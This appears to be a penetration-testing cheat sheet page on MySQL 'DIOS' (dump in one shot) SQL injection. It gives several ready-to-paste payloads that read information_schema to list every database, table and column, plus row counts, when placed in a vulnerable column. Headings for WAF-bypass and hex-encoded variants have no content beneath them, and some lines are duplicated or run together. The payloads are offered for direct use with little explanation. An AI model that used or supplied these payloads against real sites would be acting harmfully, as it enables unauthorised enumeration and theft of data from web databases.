โฃ๏ธDIOS MYSQL
USAGE FOR ALL DIOS: Just put the code in place of vulnerable column and see the magic
USAGE FOR ALL DIOS: Just put the code in place of vulnerable column and see the magicMYSQL DIOS
MYSQL DIOSGives us all the Databases:
(select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.schemata)where (@a)in (@a:=concat(@a,schema_name,'<br>'))))a)Gives us all the Table Names in the same manner we got the Database Names:
(select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.tables)where (@a)in (@a:=concat(@a,table_name,'<br>'))))a)Gives us all the Table Names but add a condition to remove all the tables which belongs to information_schema:
(select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.columns)where table_schema!='information_schema' and(@a)in (@a:=concat(@a,table_schema,' > ',table_name,' > ',column_name,'<br>'))))a)Gives us all the Table Names but add a condition to which Table belongs to which Database:
(select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.tables)where table_schema!='information_schema' and(@a)in (@a:=concat(@a,table_schema,0x3a,table_name,'<br>'))))a)Gives us All the Database Names, Table Names and the Column Names:
(select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.columns)where table_schema!='information_schema' and(@a)in (@a:=concat(@a,table_schema,' > ',table_name,' > ',column_name,'<br>'))))a)(select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.columns) where (table_schema!='information_schema') and(0x00)in (@a:=concat(@a,0x3c62723e,table_schema,' :: ',table_name,' :: ',column_name))))a)(select (@a) from (select(@a:=0x00),(@tbl:=0x00),(@tbl_sc:=0x00),(select (@a) from (information_schema.columns) where (table_schema!='information_schema') and(0x00)in (@a:=concat(@a,0x3c62723e,if( (@tbl!=table_name), Concat(0x3c62723e,@tbl_sc:=table_schema,' :: ',@tbl:=table_name,' (Rows ',(select table_rows from information_schema.tables where table_schema=@tbl_sc and table_name=@tbl),')',column_name), (column_name))))))a)Extract All the Table Names which are starting with 'shit_'
Extract All DB with Basic WAF bypass and Encoded all strings to Hex
Extract All DB with Basic WAF bypass and Encoded all strings to Hex----------------------------------------------------------------
Bypass WAF:
Bypass WAF:----------------------------------------------------------------
Last updated